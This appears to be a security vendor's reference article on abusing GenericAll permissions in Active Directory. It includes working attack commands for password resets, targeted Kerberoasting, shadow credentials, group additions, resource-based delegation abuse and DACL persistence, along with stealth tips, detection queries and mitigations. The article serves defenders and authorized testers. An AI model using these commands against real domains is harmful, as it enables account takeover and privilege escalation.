1. Resources
  2. Identity Threats
  3. Active Directory

GenericAll Abuse in Active Directory

Also known as: GenericAll, Full Control ACE abuse, AD ACL abuse, Object takeover

A principal that holds GenericAll on a user, group or computer controls that object: it can reset the password, change membership, add credentials and rewrite the object's permissions.

Platform
Active Directory
Impact
High
Last updated
Attack difficulty
Low
Detection difficulty
Medium
Privileges required: Specific rights or roles
An allow ACE with GenericAll (full control) on the target user, group or computer, held directly or through a nested group.
What the attacker gains
Full control of the target object: its password, group membership, SPNs, key credentials, delegation settings and DACL.
Threat groups
HAFNIUMLazarus GroupNIMBUS MANTICOREScattered SpiderTeamPCPVOID MANTICOREAgriusAPT3APT41APT5Aquatic PandaBlackByteChimeraCinnamon Tempestand 16 more in MITRE ATT&CKGroups that MITRE ATT&CK records using T1098, T1098.007, T1558.003, T1078.002.

How it works

Every Active Directory object carries a security descriptor: an owner, a discretionary access control list (DACL) that decides who may do what, and a system access control list (SACL) that decides what is audited. Each entry in the DACL (an ACE) names a trustee, an access mask and, for object-specific ACEs, the attribute, property set or extended right it applies to.

GenericAll is the access mask for full control. Stored in a DACL it normally appears as the mapped mask 0xF01FF, which adds up to: create and delete child objects, read and write every property, perform every validated write, use every extended right, delete the object, read the descriptor, modify the DACL (WRITE_DAC) and take ownership (WRITE_OWNER). Two consequences matter to an attacker:

  • GenericAll contains every narrower right that attack paths are built from. It includes the User-Force-Change-Password extended right, write access to member, servicePrincipalName, msDS-KeyCredentialLink, userAccountControl and msDS-AllowedToActOnBehalfOfOtherIdentity.
  • Because it includes WRITE_DAC, the holder can add new ACEs for other principals. Removing the original ACE later does not undo what was granted in the meantime.

The right ends up in the wrong hands through delegation that was too broad: a helpdesk group given full control of an OU "to manage users", an application installer that granted its service account full control, or an inheritable ACE on a container that now holds privileged accounts. Accounts that hold such rights without being members of any administrative group are often called shadow admins.

What the right buys depends on the object class:

Target What GenericAll allows
User Reset the password, add an SPN and roast it, add a key credential, clear the disabled flag, change the logon script
Group Add or remove members
Computer Configure resource-based constrained delegation, add a key credential, read LAPS password attributes, reset the machine account password
OU or container Create child objects, rewrite the OU's DACL, add inheritable ACEs that reach the objects below
Domain object Grant replication rights and run DCSync

An ACE is not the same as effective access. The domain controller walks the DACL in order, explicit entries before inherited ones and deny before allow, and a deny ACE, a protected child DACL or a class filter on an inherited ACE can still block the operation.

Prerequisites

  • Control of a principal that holds GenericAll on the target, directly or through any group in its token (nested groups count).
  • Network access to a domain controller: LDAP (389 or 636) for attribute and descriptor writes, SAMR over SMB (445) for some password reset and group tools, Kerberos (88) for the follow-on steps.
  • For the target to be worth attacking: it is privileged itself, or it is a step toward something that is. A group with rights on servers, a service account, a computer that privileged users sign in to.
  • No deny ACE for the attacker's principal on the target, and for inherited ACEs, a target that accepts inheritance.

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

1. Find where the principal holds GenericAll

BloodHound collects every descriptor and draws the result as a graph. From Windows or Linux:

SharpHound.exe -c All --zipfilename corp.zip
bloodhound-python -d corp.example.com -u alice -p 'Passw0rd!' -ns 192.0.2.10 -c All

For a single object, read the DACL directly:

# PowerView: ACEs on j.doe that name alice
$aliceSid = (Get-DomainUser alice).objectsid
Get-DomainObjectAcl -Identity j.doe -ResolveGUIDs |
  Where-Object { $_.SecurityIdentifier.Value -eq $aliceSid } |
  Select-Object ObjectDN, ActiveDirectoryRights, ObjectAceType, IsInherited
# Impacket: the same from Linux
dacledit.py -action read -target j.doe -principal alice \
  'corp.example.com/alice:Passw0rd!' -dc-ip 192.0.2.10

# bloodyAD: every object the current principal can write
bloodyAD --host DC01.corp.example.com -d corp.example.com -u alice -p 'Passw0rd!' \
  get writable --right ALL --detail

2. On a user: take over the account

The direct route is a password reset, which GenericAll allows without knowing the old password. The ForceChangePassword page covers the variants.

$new = ConvertTo-SecureString 'N3w-Passw0rd!' -AsPlainText -Force
Set-DomainUserPassword -Identity j.doe -AccountPassword $new -Verbose
bloodyAD --host DC01.corp.example.com -d corp.example.com -u alice -p 'Passw0rd!' \
  set password j.doe 'N3w-Passw0rd!'

A reset locks the real user out and gets noticed. Two quieter routes leave the password alone:

  • Targeted Kerberoasting. Add an SPN to the user, request a service ticket and crack it offline, then remove the SPN. See Kerberoasting.
  • Shadow credentials. Add a key credential to msDS-KeyCredentialLink and authenticate with it over PKINIT. See shadow credentials.
:: Targeted Kerberoasting
setspn -S http/roast.corp.example.com j.doe
Rubeus.exe kerberoast /user:j.doe /nowrap
setspn -D http/roast.corp.example.com j.doe

:: Shadow credentials
Whisker.exe add /target:j.doe /domain:corp.example.com /dc:DC01.corp.example.com /path:C:\temp\jdoe.pfx /password:PfxPassw0rd!

If the target account is disabled, a reset alone does not make it usable. GenericAll includes write access to userAccountControl, so the flag can be cleared:

bloodyAD --host DC01.corp.example.com -d corp.example.com -u alice -p 'Passw0rd!' \
  remove uac j.doe -f ACCOUNTDISABLE

3. On a group: add a member

Add-DomainGroupMember -Identity 'Server Admins' -Members alice -Verbose
bloodyAD --host DC01.corp.example.com -d corp.example.com -u alice -p 'Passw0rd!' \
  add groupMember 'Server Admins' alice

The new membership is not in tickets the account already holds. Group SIDs are written into the PAC when a TGT is issued, so the attacker signs in again (or purges the ticket cache) before using the group. Details are on the group membership abuse page.

4. On a computer: get code execution as an administrator

GenericAll on a computer object allows a write to msDS-AllowedToActOnBehalfOfOtherIdentity. The attacker names an account they control in that attribute and then uses S4U to obtain a service ticket to the computer as any user who can be delegated, typically a domain administrator. This is resource-based constrained delegation abuse.

addcomputer.py -computer-name 'FAKE01$' -computer-pass 'M4chine-Passw0rd!' \
  -dc-ip 192.0.2.10 'corp.example.com/alice:Passw0rd!'

rbcd.py -action write -delegate-from 'FAKE01$' -delegate-to 'SRV01$' \
  -dc-ip 192.0.2.10 'corp.example.com/alice:Passw0rd!'

getST.py -spn 'cifs/SRV01.corp.example.com' -impersonate administrator \
  -dc-ip 192.0.2.10 'corp.example.com/FAKE01$:M4chine-Passw0rd!'

The same right allows shadow credentials against the computer account and, where LAPS is deployed, a read of the local administrator password attributes.

5. Keep the access

Because GenericAll includes WRITE_DAC, the holder can grant a second principal rights on the object, which survives the removal of the original ACE:

dacledit.py -action write -rights FullControl -principal svc-sql -target j.doe \
  'corp.example.com/alice:Passw0rd!' -dc-ip 192.0.2.10

dacledit.py saves the previous DACL to a .bak file before it writes. The WriteDACL abuse page covers this step.

Impact

The attacker takes over whatever the object represents. A user gives its identity, mailbox, sessions and group memberships. A group gives every right the group holds. A computer gives administrator access to the host and to the credentials of everyone who signs in to it.

GenericAll is rarely the end of the path. It is the edge that turns an ordinary account into a privileged one, and chains of such edges are how privilege escalation from a standard user to Domain Admins usually happens in a mature domain. The access also persists: a key credential or a delegation entry survives a password reset of the target, and an ACE granted to a second principal survives the cleanup of the first.

OPSEC and artifacts

  • Choosing the quietest primitive. A password reset breaks the user's sign-in and writes event 4724, which needs no SACL. Operators prefer targeted Kerberoasting or shadow credentials because the user notices nothing. Those still write servicePrincipalName or msDS-KeyCredentialLink, recorded in event 5136 when Directory Service Changes auditing and a SACL are in place.
  • Using the narrowest write. Changing one attribute instead of adding a full control ACE keeps the descriptor unchanged. The attribute write is still logged, and event 4662 records the access check with mask 0x20 and the attribute's GUID when the object has a matching SACL.
  • Cleaning up. Removing the temporary SPN, the key credential or the group member restores the directory state but writes a second change event. A group change always produces 4728, 4732 or 4756 (add) and the matching removal event.
  • Collection is visible. A full BloodHound collection reads the descriptor of every object over LDAP, a volume that LDAP query monitoring picks up.
  • Authentication after the change. Event 4768 with a PKINIT pre-authentication type for an account that normally uses a password, 4769 for the roasted account, and 4624 on the hosts where the new access is used.
  • Files on the attacker's host. .bak DACL backups from dacledit.py, PFX files, ticket hashes and ccache files.

Detection

The right is a standing condition, so there are two jobs: find the ACE before an attacker does, and catch its use.

Find the exposure. Enumerate non-default allow ACEs with full control on privileged users, groups, computers and the OUs that hold them, and resolve the trustees through nested groups. This is a graph problem, which is why attack path analysis tools are used for it.

Catch the use. The signals are those of the follow-on action:

// Writes to the attributes that object takeover uses, by actor
SecurityEvent
| where EventID == 5136
| extend Attribute = extract(@'<Data Name="AttributeLDAPDisplayName">([^<]+)', 1, EventData),
         ObjectDN  = extract(@'<Data Name="ObjectDN">([^<]+)', 1, EventData)
| where Attribute in~ ("nTSecurityDescriptor", "servicePrincipalName", "msDS-KeyCredentialLink",
                       "msDS-AllowedToActOnBehalfOfOtherIdentity", "userAccountControl", "member")
| summarize Changes = count(), Objects = dcount(ObjectDN) by SubjectUserName, Attribute, bin(TimeGenerated, 1h)
| order by Changes desc

Events 5136 and 4662 are only written for objects whose SACL audits the operation. A domain with the audit subcategory enabled but no SACL on ordinary users and computers records nothing for these writes. Group membership and password reset events do not depend on a SACL, which makes them the more reliable signals.

Mitigation

  • Remove full control from principals that do not administer the object. Replace GenericAll with the specific right the task needs (reset password, write one attribute), scoped to the smallest OU. This is least privilege applied to the directory.
  • Review Tier 0 first. Export the owner and DACL of the domain object, AdminSDHolder, the privileged groups, domain controllers, and the accounts and OUs that manage them. Every non-default allow ACE needs an owner and a reason. The Active Directory hardening guide lists the objects to cover.
  • Do not place privileged objects under delegated OUs. An inheritable ACE on a container reaches everything below it that accepts inheritance.
  • Map the paths. A single ACE looks harmless in isolation. The attack path analysis walkthrough shows how to find the chains that end in Tier 0.
  • Shrink the follow-on attacks. Long random passwords or managed accounts for services, a machine account quota of zero, and restricted write access to msDS-KeyCredentialLink reduce what a GenericAll holder can do quietly.
  • Audit the writes. Enable Directory Service Changes and add SACLs for property and DACL writes on Tier 0 objects, as described in the audit policy guide.
  • When responding, search for the suspect SID as trustee and as owner across the whole domain, and remove key credentials, delegation entries and SPNs it added. Removing the one visible ACE is not enough.

Detection rules for this attack

Log events to collect

FAQ

What does GenericAll allow in Active Directory?

GenericAll is full control of one object. It includes every property write, every validated write, every extended right such as the password reset right, deletion, and WRITE_DAC, so the holder can also rewrite the object's permissions. What that means in practice depends on the object class: a user can be taken over, a group can be given new members, a computer can be set up for delegation abuse.

Is GenericAll on an OU the same as GenericAll on every object in it?

No. GenericAll on an OU covers the OU object itself: creating and deleting children, writing its properties and rewriting its DACL. It reaches child objects only if the ACE is inheritable and the child accepts inheritance. Objects with a protected DACL, such as members of protected groups, do not inherit it.

How do you detect GenericAll abuse?

The right itself leaves no trace until it is used. Detection rests on what the holder does next: event 4724 for a password reset, 4728, 4732 or 4756 for a group membership change, and 5136 for writes to servicePrincipalName, msDS-KeyCredentialLink, msDS-AllowedToActOnBehalfOfOtherIdentity or nTSecurityDescriptor. The 5136 events need Directory Service Changes auditing and a SACL on the object.

How is GenericAll different from GenericWrite?

GenericWrite covers property writes and validated writes. GenericAll adds the extended rights, including the password reset right, plus delete and WRITE_DAC. A GenericAll holder can reset a user's password directly and can grant other principals rights on the object. A GenericWrite holder cannot do either.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.